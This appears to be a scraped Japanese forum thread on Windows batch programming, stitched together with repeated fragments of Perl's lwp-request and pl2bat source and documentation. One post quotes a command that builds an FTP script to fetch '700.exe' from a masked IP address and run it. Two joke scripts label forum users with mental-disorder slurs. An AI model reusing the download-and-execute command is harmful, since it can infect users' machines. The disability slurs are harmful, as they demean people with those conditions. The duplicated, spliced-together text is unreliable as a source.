@if(0)==(0) ECHO OFF FOR /F "delims=" %%0 IN ('CScript.exe //NoLogo /E:JScript "%~f0"') DO ECHO "%%0" GOTO :EOF @end var ie=new ActiveXObject('Shell.Application').Windows().Item(); if(ie){ var FolderItems=ie.Document.SelectedItems(); if(FolderItems){ for(var k=0;k<FolderItems.Count;k++) WScript.Echo(FolderItems.Item(k).Path); } }
@ECHO OFF SETLOCAL ENABLEDELAYEDEXPANSION FOR %%0 IN (%1) DO ( FOR /R %1 %%1 IN (*) DO ( SET x=%%~f1 SET x=!x:%%~f0=%2! IF NOT EXIST "!x!" ( IF NOT EXIST "!x!\..\*" ( echo MD "!x!\.." ) echo COPY "%%~f1" "!x!" ) ) )
VPN経路で、ファイル名指定して実行で cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex ここまで書いたおまいだよ!
>>213 CreateObject("Scripting.FileSystemObject").GetStandardStream(0,True) と書くだけで代替できる あるいは If LCase(Right(WScript.FullName,11)) <> "cscript.exe" Then WScript.Echo "俺はCScript専用だぜゴルァ" End If ならFSOを使わなくてもできる
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。 Javascript は Web 制作板、CGI は Web プログラミング板へ。 業界談義、愚痴はプログラマ板へどうぞ。 ゲーム関係の話題はゲーム製作板へどうぞ。 ネタ、板とは関係の無い話題はご遠慮ください。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
@echo off chkdsk /i /c d: > chkdsk.txt for /f "usebackq tokens=1,2,4" %%i in (`find "領域" chkdsk.txt`) do if /%%j==/KB set %%k=%%i echo 全ディスク領域: %全ディスク領域% echo 使用可能領域 : %使用可能領域%
> type man.bat @echo off setlocal set lang=%1 set page=%2 if "%lang%" == "perl" ( if "%page%" == "" set page=perl set page echo %podpath%\%page%.pod more %podpath%\%page%.pod ) endlocal
> man perl perl page=perl C:\Perl\〜\perl.pod 【ファイルの内容】
> man perl page=perl C:\Perl\〜\.pod ファイル C:\Perl\〜\.pod にアクセスできません
コンソールを最小化するバッチファイル @ECHO OFF MORE +7 "%~f0" >"%~f0.vb" "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\vbc.exe" "%~f0.vb" DEL "%~f0.vb" "%~f0.exe" DEL "%~f0.exe" GOTO :EOF Public Class Module1 Private Declare Auto Function GetConsoleTitle Lib "kernel32.dll" (lpConsoleTitle As System.Text.StringBuilder, nSize As Integer) As Integer Private Declare Function ShowWindow Lib "user32.dll" (hwnd As Integer, nCmdShow As Integer) As Integer Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal className As String, ByVal WindowsName As String) As IntPtr Public Shared Sub Main() Dim lpConsoleTitle As New System.Text.StringBuilder(1024) GetConsoleTitle(lpConsoleTitle,1024) ShowWindow(FindWindow(Nothing,lpConsoleTitle.ToString()),6) End Sub End Class
@echo off setlocal EnableDelayedExpansion if "%1"=="" goto :EOF set n=%1 :bLoop if /I %n% leq 999 ( set r=%n%%r% goto :eLoop ) set r=,%n:~-3%%r% set n=%n:~0,-3% goto :bLoop :eLoop ( endlocal set result=%r% )
環境変数PATHをセミコロンで列挙されても判り辛いので 改行して表示するバッチを書いてみたのですが PATHにダブルクォートが入っていると失敗します。 何か良い知恵はありませんでしょうか。 @echo off setlocal :bLoop if defined path (echo off) else goto :eLoop set c=%path:~0,1% set path=%path:~1% if "%c%"==";" ( echo %s% set s= ) else set s=%s%%c% goto :bLoop :eLoop if defined s echo %s% endlocal
>>419 @echo off setlocal set "path=%path:"=`%" :loop set "c=%path:~0,1%" if "%c%"==";" ( echo=%p:`="% set p= ) else ( set "p=%p%%c%" ) set "path=%path:~1%" if defined path goto loop if defined p echo=%p:`="%
@echo off setlocal enableextensions enabledelayedexpansion for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" x.txt') do set L%%i=%%j for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" y.txt') do ( if defined L%%i (echo !L%%i!) else (echo.) if not ""=="%%j" (echo %%j) else (echo.))
@echo off setlocal enableextensions enabledelayedexpansion for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" x.txt') do ( set L%%i=%%j set LastX=%%i ) for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" y.txt') do ( set LastY=%%i echo=!L%%i! echo=%%j ) set /a LastY=%LastY:~1% + 1 for /l %%i in (%LastY%, 1, %LastX:~1%) do ( echo=!L[%%i! echo= )
@echo off setlocal enabledelayedexpansion set /a num1=10*%RANDOM%/32767 :set_num2 set /a num2=10*%RANDOM%/32767 if %num1%==%num2% goto set_num2 set str0=誘導厨 set str1=ググれカス set str2=WSH set str3=JSCRIPT set str4=スルー set str5=スレ違い set str6=病人 set str7=発達障害 set str8=総合失調症 set str9=高機能自閉症 echo 【!str%num1%!】バッチファイルプログラミング 4.bat【!str%num2%!】
This program can be used to send requests to WWW servers and your local file system. The request content for POST and PUT methods is read from stdin. The content of the response is printed on stdout. Error messages are printed on stderr. The program returns a status value indicating the number of URLs that failed.
Set which method to use for the request. If this option is not used, then the method is derived from the name of the program.
=item -f
Force request through, even if the program believes that the method is illegal. The server might reject the request eventually.
=item -b <uri>
This URI will be used as the base URI for resolving all relative URIs given as argument.
=item -t <timeout>
Set the timeout value for the requests. The timeout is the amount of time that the program will wait for a response from the remote server before it fails. The default unit for the timeout value is seconds. You might append "m" or "h" to the timeout value to make it minutes or hours, respectively. The default timeout is '3m', i.e. 3 minutes.
Set the If-Modified-Since header in the request. If I<time> it the name of a file, use the modification timestamp for this file. If I<time> is not a file, it is parsed as a literal date. Take a look at L<HTTP::Date> for recogniced formats.
=item -c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST and PUT. You can force methods to take content by using the C<-f> option together with C<-c>. The default Content-Type for POST is C<application/x-www-form-urlencoded>. The default Content-type for the others is C<text/plain>.
=item -p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the C<-P> option.
Provide credentials for documents that are protected by Basic Authentication. If the document is protected and you did not specify the username and password with this option, then you will be prompted to provide these values.
Print response headers. This option is always on for HEAD requests.
=item -d
Do B<not> print the content of the response.
=item -o <format>
Process HTML content in various ways before printing it. If the content type of the response is not HTML, then this option has no effect. The legal format values are; I<text>, I<ps>, I<links>, I<html> and I<dump>.
If you specify the I<text> format then the HTML will be formatted as plain latin1 text. If you specify the I<ps> format then it will be formatted as Postscript.
The I<links> format will output all links found in the HTML document. Relative links will be expanded to absolute ones.
The I<html> format will reformat the HTML code and the I<dump> format will just dump the HTML syntax tree.
# This table lists the methods that are allowed. It should really be # a superset for all methods supported for every scheme that may be # supported by the library. Currently it might be a bit too HTTP # specific. You might use the -f option to force a method through. # # "" = No content in request, "C" = Needs content in request # %allowed_methods = ( GET => "", HEAD => "", POST => "C", PUT => "C", DELETE => "", TRACE => "", OPTIONS => "", );
Set the If-Modified-Since header in the request. If I<time> it the name of a file, use the modification timestamp for this file. If I<time> is not a file, it is parsed as a literal date. Take a look at L<HTTP::Date> for recogniced formats.
=item -c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST and PUT. You can force methods to take content by using the C<-f> option together with C<-c>. The default Content-Type for POST is C<application/x-www-form-urlencoded>. The default Content-type for the others is C<text/plain>.
=item -p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the C<-P> option.
# We make our own specialization of LWP::UserAgent that asks for # user/password if document is protected. { package RequestAgent; @ISA = qw(LWP::UserAgent);
sub new { my $self = LWP::UserAgent::new(@_); $self->agent("lwp-request/$main::VERSION"); $self; }
my @getopt_args = ( 'a', # content i/o in text(ascii) mode 'm=s', # set method 'f', # make request even if method is not in %allowed_methods 'b=s', # base url 't=s', # timeout 'i=s', # if-modified-since 'c=s', # content type for POST 'C=s', # credentials for basic authorization 'H=s@', # extra headers, form "Header: value string" # 'u', # display method, URL and headers of request 'U', # display request headers also 's', # display status code 'S', # display whole chain of status codes 'e', # display response headers (default for HEAD) 'd', # don't display content # 'h', # print usage 'v', # print version # 'x', # extra debugging info 'p=s', # proxy URL 'P', # don't load proxy setting from environment # 'o=s', # output format );
Getopt::Long::config("noignorecase", "bundling"); unless (GetOptions(\%options, @getopt_args)) { usage(); } if ($options{'v'}) { require LWP; my $DISTNAME = 'libwww-perl-' . LWP::Version(); die <<"EOT"; This is lwp-request version $VERSION ($DISTNAME)
Copyright 1995-1999, Gisle Aas.
This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. EOT }
$method = uc($options{'m'}) if defined $options{'m'};
if ($options{'f'}) { if ($options{'c'}) { $allowed_methods{$method} = "C"; # force content } else { $allowed_methods{$method} = ""; } } elsif (!defined $allowed_methods{$method}) { die "$progname: $method is not an allowed method\n"; }
Set the If-Modified-Since header in the request. If I<time> it the name of a file, use the modification timestamp for this file. If I<time> is not a file, it is parsed as a literal date. Take a look at L<HTTP::Date> for recogniced formats.
=item -c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST and PUT. You can force methods to take content by using the C<-f> option together with C<-c>. The default Content-Type for POST is C<application/x-www-form-urlencoded>. The default Content-type for the others is C<text/plain>.
=item -p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the C<-P> option.
$content = undef; if ($allowed_methods{$method} eq "C") { # This request needs some content unless (defined $options{'c'}) { # set default content type $options{'c'} = ($method eq "POST") ? "application/x-www-form-urlencoded" : "text/plain"; } else { die "$progname: Illegal Content-type format\n" unless $options{'c'} =~ m,^[\w\-]+/[\w\-]+(?:\s*;.*)?$, } print "Please enter content ($options{'c'}) to be ${method}ed:\n" if -t; binmode STDIN unless -t or $options{'a'}; $content = join("", <STDIN>); } else { die "$progname: Can't set Content-type for $method requests\n" if defined $options{'c'}; }
@echo off echo 〜〜〜レス番占い〜〜〜 echo レス番号から性格を占います。あなたが書き込んだレスの番号を入力してください。 setlocal enabledelayedexpansion set /P resuban= set /A num=%resuban%%%13 set y=%date:~,4%&set m=%date:~5,2%&set d=%date:~8,2% if "%m:~0,1%"=="0" set m=%m:~1% if "%d:~0,1%"=="0" set d=%d:~1% set t[1]=0&set t[2]=3&set t[3]=2&set t[4]=5&set t[5]=0&set t[6]=3&set t[7]=5&set t[8]=1&set t[9]=4&set t[10]=6&set t[11]=2&set t[12]=4 if %m% lss 3 set /a y=%y%-1 set /a i=(%y% + %y%/4 - %y%/100 + %y%/400 + !t[%m%]! + %d%) %% 7 set youbi[0]=日&set youbi[1]=月&set youbi[2]=火&set youbi[3]=水&set youbi[4]=木&set youbi[5]=金&set youbi[6]=土 set result[0]=誘導厨 set result[1]=スレ違い君 set result[2]=病人 set result[3]=発達障害 set result[4]=統合失調症 set result[5]=高機能自閉症 set result[6]=箸じゃなくても歯ブラシでも食べれることに気がついた set result[7]=悪口書き込みたいが為だけにスタンバってる set result[8]=どこかにうpるという選択幅が思いつかなかった set result[9]=自分の作ったものを誇示したかった set result[10]=アスペルガー set result[11]=パソコン初心者 set result[12]=人間初心者 echo. echo 名前:%resuban%[sage] 投稿日:%date%(!youbi[%i%]!) %time:~,8% echo ちなみにボクは!result[%num%]!です
@rem = '--*-Perl-*-- @echo off if "%OS%" == "Windows_NT" goto WinNT perl -x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9 goto endofperl :WinNT perl -x -S %0 %* if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl if %errorlevel% == 9009 echo You do not have Perl in your PATH. if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul goto endofperl @rem '; #!perl #line 15 eval 'exec perl -x -S "$0" ${1+"$@"}' if 0; # In case running under some shell
my $usage = <<EOT; Usage: $0 [-h] or: $0 [-w] [-u] [-a argstring] [-s stripsuffix] [files] or: $0 [-w] [-u] [-n ntargs] [-o otherargs] [-s stripsuffix] [files] -n ntargs arguments to invoke perl with in generated file when run from Windows NT. Defaults to '-x -S %0 %*'. -o otherargs arguments to invoke perl with in generated file other than when run from Windows NT. Defaults to '-x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9'. -a argstring arguments to invoke perl with in generated file ignoring operating system (for compatibility with previous pl2bat versions). -u update files that may have already been processed by (some version of) pl2bat. -w include "-w" on the /^#!.*perl/ line (unless a /^#!.*perl/ line was already present). -s stripsuffix strip this suffix from file before appending ".bat" Not case-sensitive Can be a regex if it begins with `/' Defaults to "/\.plx?/" -h show this help EOT
} else { $head = <<EOT; \@rem = '--*-Perl-*-- \@echo off if "%OS%" == "Windows_NT" goto WinNT perl $OPT{'o'} goto endofperl :WinNT perl $OPT{'n'} if NOT "%COMSPEC%" == "%SystemRoot%\\system32\\cmd.exe" goto endofperl if %errorlevel% == 9009 echo You do not have Perl in your PATH. if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul goto endofperl \@rem '; EOT }
This utility converts a perl script into a batch file that can be executed on DOS-like operating systems. This is intended to allow you to use a Perl script like regular programs and batch files where you just enter the name of the script [probably minus the extension] plus any command-line arguments and the script is found in your B<PATH> and run.
There are several alternatives to this method of running a Perl script. They each have disadvantages that help you understand the motivation for using B<pl2bat>.
B<1> and B<2> are the most basic invocation methods that should work on any system [DOS-like or not]. They require extra typing and require that the script user know that the script is written in Perl. This is a pain when you have lots of scripts, some written in Perl and some not. It can be quite difficult to keep track of which scripts need to be run through Perl and which do not. Even worse, scripts often get rewritten from simple batch files into more powerful Perl scripts in which case these methods would require all existing users of the scripts be updated.
B<3> works on modern Win32 versions of Perl. It allows the user to omit the ".pl" or ".bat" file extension, which is a minor improvement.
B<4> and B<5> work on some Win32 operating systems with some command shells. One major disadvantage with both is that you can't use them in pipelines nor with file redirection. For example, none of the following will work properly if you used method B<4> or B<5>:
C:> script.pl <infile C:> script.pl >outfile C:> echo y | script.pl C:> script.pl | more
This is due to a Win32 bug which Perl has no control over. This bug is the major motivation for B<pl2bat> [which was originally written for DOS] being used on Win32 systems.
Note also that B<5> works on a smaller range of combinations of Win32 systems and command shells while B<4> requires that the user know that the script is a Perl script [because the ".pl" extension must be entered]. This makes it hard to standardize on either of these methods.
There are several potential traps you should be aware of when you use B<pl2bat>.
The generated batch file is initially processed as a batch file each time it is run. This means that, to use it from within another batch file you should preceed it with C<call> or else the calling batch file will not run any commands after the script:
call script [args]
Except under Windows NT, if you specify more than 9 arguments to the generated batch file then the 10th and subsequent arguments are silently ignored.
Except when using F<CMD.EXE> under Windows NT, if F<perl.exe> is not in your B<PATH>, then trying to run the script will give you a generic "Command not found"-type of error message that will probably make you think that the script itself is not in your B<PATH>. When using F<CMD.EXE> under Windows NT, the generic error message is followed by "You do not have Perl in your PATH", to make this clearer.
On most DOS-like operating systems, the only way to exit a batch file is to "fall off the end" of the file. B<pl2bat> implements this by doing C<goto :endofperl> and adding C<__END__> and C<:endofperl> as the last two lines of the generated batch file. This means:
=item No line of your script should start with a colon.
In particular, for this version of B<pl2bat>, C<:endofperl>, C<:WinNT>, and C<:script_failed_so_exit_with_non_zero_val> should not be used.
=item Care must be taken when using C<__END__> and the C<DATA> file handle.
One approach is:
. #!perl . while( <DATA> ) { . last if /^__END__$/; . [...] . } . __END__ . lines of data . to be processed . __END__ . :endofperl
The dots in the first column are only there to prevent F<cmd.exe> to interpret the C<:endofperl> line in this documentation. Otherwise F<pl2bat.bat> itself wouldn't work. See the previous item. :-)
This utility converts a perl script into a batch file that can be executed on DOS-like operating systems. This is intended to allow you to use a Perl script like regular programs and batch files where you just enter the name of the script [probably minus the extension] plus any command-line arguments and the script is found in your B<PATH> and run.
By default, the ".pl" suffix will be stripped before adding a ".bat" suffix to the supplied file names. This can be controlled with the C<-s> option.
The default behavior is to have the batch file compare the C<OS> environment variable against C<"Windows_NT">. If they match, it uses the C<%*> construct to refer to all the command line arguments that were given to it, so you'll need to make sure that works on your variant of the command shell. It is known to work in the F<CMD.EXE> shell under Windows NT. 4DOS/NT users will want to put a C<ParameterChar = *> line in their initialization file, or execute C<setdos /p*> in the shell startup file.
On Windows95 and other platforms a nine-argument limit is imposed on command-line arguments given to the generated batch file, since they may not support C<%*> in batch files.
These can be overridden using the C<-n> and C<-o> options or the deprecated C<-a> option.
Arguments to invoke perl with in generated batch file when run from Windows NT (or Windows 98, probably). Defaults to S<'-x -S %0 %*'>.
=item B<-o> I<otherargs>
Arguments to invoke perl with in generated batch file except when run from Windows NT (ie. when run from DOS, Windows 3.1, or Windows 95). Defaults to S<'-x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9'>.
=item B<-a> I<argstring>
Arguments to invoke perl with in generated batch file. Specifying B<-a> prevents the batch file from checking the C<OS> environment variable to determine which operating system it is being run from.
=item B<-s> I<stripsuffix>
Strip a suffix string from file name before appending a ".bat" suffix. The suffix is not case-sensitive. It can be a regex if it begins with `/' (the trailing '/' is optional and a trailing C<$> is always assumed). Defaults to C</.plx?/>.
If no line matching C</^#!.*perl/> is found in the script, then such a line is inserted just after the new preamble. The exact line depends on C<$Config{startperl}> [see L<Config>]. With the B<-w> option, C<" -w"> is added after the value of C<$Config{startperl}>. If a line matching C</^#!.*perl/> already exists in the script, then it is not changed and the B<-w> option is ignored.
=item B<-u>
If the script appears to have already been processed by B<pl2bat>, then the script is skipped and not processed unless B<-u> was specified. If B<-u> is specified, the existing preamble is replaced.
C<$0> will contain the full name, including the ".bat" suffix when the generated batch file runs. If you don't like this, see runperl.bat for an alternative way to invoke perl scripts.
Default behavior is to invoke Perl with the B<-S> flag, so Perl will search the B<PATH> to find the script. This may have undesirable effects.
On really old versions of Win32 Perl, you can't run the script via
This is due to a Win32 bug which Perl has no control over. This bug is the major motivation for B<pl2bat> [which was originally written for DOS] being used on Win32 systems.
Note also that B<5> works on a smaller range of combinations of Win32 systems and command shells while B<4> requires that the user know that the script is a Perl script [because the ".pl" extension must be entered]. This makes it hard to standardize on either of these methods.
CALL main.bat %* だと引数の入力面倒なんで FOR %%a IN (*.avi) DO CALL main.bat %%a にしたらバッチがうまく動かなくなったんですけど この二つのどの辺に違いあるんでしょうか? FOR %%a IN (*.avi) DO CALL main.bat %%~dpnxa にしてみてもだめでした・・・ どちらもカレントディレクトリは引数にするファイルを同じフォルダです